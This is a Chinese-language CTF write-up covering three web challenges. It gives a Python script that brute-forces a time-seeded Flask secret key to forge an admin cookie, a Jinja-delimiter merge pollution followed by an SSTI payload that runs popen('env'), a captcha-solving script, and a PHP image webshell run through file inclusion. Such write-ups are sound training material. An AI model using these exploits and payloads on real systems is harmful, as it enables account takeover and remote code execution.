第二届VCTF纳新赛web wp

shopping

先随机注册一个用户登录

拿到session=eyJpZGVudGl0eSI6Imd1ZXN0IiwidXNlcm5hbWUiOiIxMjMifQ.aRhgKQ.QthQrCegum67-aJHat1ZonWFJXw

image-20251115191338285

image-20251115191340270

可以猜到肯定要session伪造admin用户登录的,只不过这里还要利用时间戳去爆破一下密钥,然后再去伪造

这里让ai写了一个脚本爆破密钥伪造cookie

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import random
import time
import sys
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
SAMPLE_COOKIE = "eyJpZGVudGl0eSI6Imd1ZXN0IiwidXNlcm5hbWUiOiIxMjMifQ.aRhgKQ.QthQrCegum67-aJHat1ZonWFJXw"

SEARCH_RANGE_SECONDS = 2 * 24 * 60 * 60
class MockApp:
def __init__(self, secret_key):
self.config = {'SECRET_KEY': secret_key}
def decode_flask_cookie(secret_key, cookie_str):
try:
# Flask 默认的 session 序列化器
serializer = URLSafeTimedSerializer(
secret_key=secret_key,
salt='cookie-session',
serializer=None,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': None}
)
# 尝试解密,如果密钥错误会抛出 BadSignature 异常
return serializer.loads(cookie_str)
except Exception:
return None


def forge_admin_cookie(secret_key):
"""使用正确的密钥伪造管理员 Cookie"""
serializer = URLSafeTimedSerializer(
secret_key=secret_key,
salt='cookie-session',
serializer=None,
signer_kwargs={'key_derivation': 'hmac', 'digest_method': None}
)
payload = {
'username': 'admin',
'identity': 'admin',
'balance': 999999 # 虽然题目没存余额在session里,但保持格式工整
}
return serializer.dumps(payload)


def main():
if "ey" not in SAMPLE_COOKIE:
print("[-] 请先在脚本中填入一个有效的 SAMPLE_COOKIE (第 10 行)")
return

print("[*] 开始爆破随机数种子...")
t_now = int(time.time())
t_start = t_now - SEARCH_RANGE_SECONDS

# 倒序遍历,通常服务器启动时间离现在较近
for t in range(t_now, t_start, -1):
# 复现题目中的随机数生成逻辑
random.seed(t)
candidate_key = ''.join(random.choices('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', k=32))

# 尝试解密样本 Cookie
decoded = decode_flask_cookie(candidate_key, SAMPLE_COOKIE)

if decoded:
print(f"\n[+] 成功找到密钥!")
print(f"[+] 服务器启动时间戳 (Seed): {t}")
print(f"[+] Secret Key: {candidate_key}")
print(f"[+] 解密出的数据: {decoded}")

# 伪造 Admin Cookie
admin_cookie = forge_admin_cookie(candidate_key)
print(f"\n[+] 伪造的管理员 Cookie (请替换浏览器中的 session):")
print("-" * 60)
print(admin_cookie)
print("-" * 60)
return

print("[-] 爆破失败。可能是时间范围不够,或者服务器时钟与本地差距过大。")


if __name__ == '__main__':
main()

image-20251115191517391

image-20251115191611953

这样就拿到了admin权限

需要admin权限的原因是因为 要去上传一些东西有identity验证 例如修改库存等
image-20251115191826126

1
2
3
4
POST /products/0/update
{"product": {"stock": 1}}

传参修改库存为1 这时候就可以用普通用户去购买flag 但这个买到的flag是fake

image-20251115191924261

image-20251115192039832

下面就是一个ssti(render_template_string),看那些waf也可以猜到八成就是要ssti

覆盖 app.flag_content 的值 购买 Flag时,触发 render_template_string 执行ssti模板注入

1
2
3
4
5
6
7
8
9
10
11
POST /products/0/update

{
"app": {
"jinja_env": {
"variable_start_string": "[[",
"variable_end_string": "]]"
}
}
}
利用了 merge 漏洞修改了服务器的全局 Jinja 配置 即把{{}}识别修改成了[[]]
1
2
3
4
5
6
7
8
POST /products/0/update

{
"app": {
"flag_content": "[[ self.__class__.__base__.__subclasses__() ]]"
}
}
再回去用普通用户购买flag

image-20251115194225041

image-20251115194333533

利用os._wrap_close 索引是141 第一个是0

1
2
3
4
5
6
7
POST /products/0/update

{
"app": {
"flag_content": "[[ self.__class__.__base__.__subclasses__()[141]['__in' + 'it__']['__glob' + 'als__']['popen']('env').read() ]]"
}
}

查看环境变量拿到flag
image-20251115194458002

Slide Captcha

滑块验证十次

通过脚本去验证 应该就是通过api去爬下来图片 然后去找到x_pos的坐标位置并发送吧

ai写的exp

image-20251115195226894

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import requests
import base64
import cv2 # OpenCV
import numpy as np
import time
from base64 import binascii # 导入 base64 库的特定错误


BASE_URL = "http://47.98.117.93:43482"

# 使用 Session 来自动管理 Cookies
s = requests.Session()

count = 0
while count < 10:
print(f"--- 正在尝试第 {count + 1} / 10 次 ---")
try:
# 1. 获取验证码
resp = s.get(f"{BASE_URL}/captcha", timeout=5) # 增加5秒超时
resp.raise_for_status()
data = resp.json()

# 2. 提取数据
# !! 关键修改:分离 "data:image/png;base64," 前缀 !!
# 我们只取逗号 (,) 后面的 Base64 纯数据
src_bg_b64 = data['src_bg'].split(',')[-1]
slice_b64 = data['slice'].split(',')[-1]

# 3. Base64 解码 (增加单独的错误捕获)
try:
src_bg_bytes = base64.b64decode(src_bg_b64)
slice_bytes = base64.b64decode(slice_b64)
except binascii.Error as e:
print(f"!!! Base64 解码失败: {e}")
print("服务器返回了损坏的数据。正在重试...")
time.sleep(1) # 等1秒再试
continue # 跳过本次循环,重新尝试

# 4. 图像处理
src_img = cv2.imdecode(np.frombuffer(src_bg_bytes, np.uint8), cv2.IMREAD_COLOR)
slice_img = cv2.imdecode(np.frombuffer(slice_bytes, np.uint8), cv2.IMREAD_COLOR)

# 5. 模板匹配
result = cv2.matchTemplate(src_img, slice_img, cv2.TM_CCOEFF_NORMED)
_, _, _, max_loc = cv2.minMaxLoc(result)
x_pos = max_loc[0]

print(f"计算出的 x 坐标: {x_pos}")

# 6. 提交验证
payload = {"x_pos": int(x_pos)}
val_resp = s.post(f"{BASE_URL}/validate", json=payload, timeout=5)
val_resp.raise_for_status()
val_data = val_resp.json()

print(f"服务器响应: {val_data}")

# 7. 检查响应
if val_data['code'] == 0:
print("\n" + "=" * 30)
print(f"!!! 成功! Flag: {val_data['msg']} !!!")
print("=" * 30 + "\n")
break # 拿到 flag,退出循环
elif val_data['code'] == 1:
count += 1 # 成功一次,计数器+1
elif val_data['code'] == 2:
print("X 验证失败,滑块位置错误。正在重试...")
time.sleep(1) # 位置错了也重试

except requests.exceptions.RequestException as e:
print(f"请求发生错误: {e}")
print("等待 3 秒后重试...")
time.sleep(3)
except Exception as e:
print(f"发生意外错误: {e}")
print("等待 3 秒后重试...")
time.sleep(3)

验证十次成功就能拿到flag

image-20251115195255203

upload

image-20251115195533348

首先注意url上是有个doc参数的 这里就是文件包含 那就传图片马就行了

image-20251115195342350

没什么waf 用php的短标签绕过一下php关键字的检测就行了

image-20251115195648133

image-20251115195703738

通过文件包含去读取 这里木马就已经上传成功了

1
shell=system('env');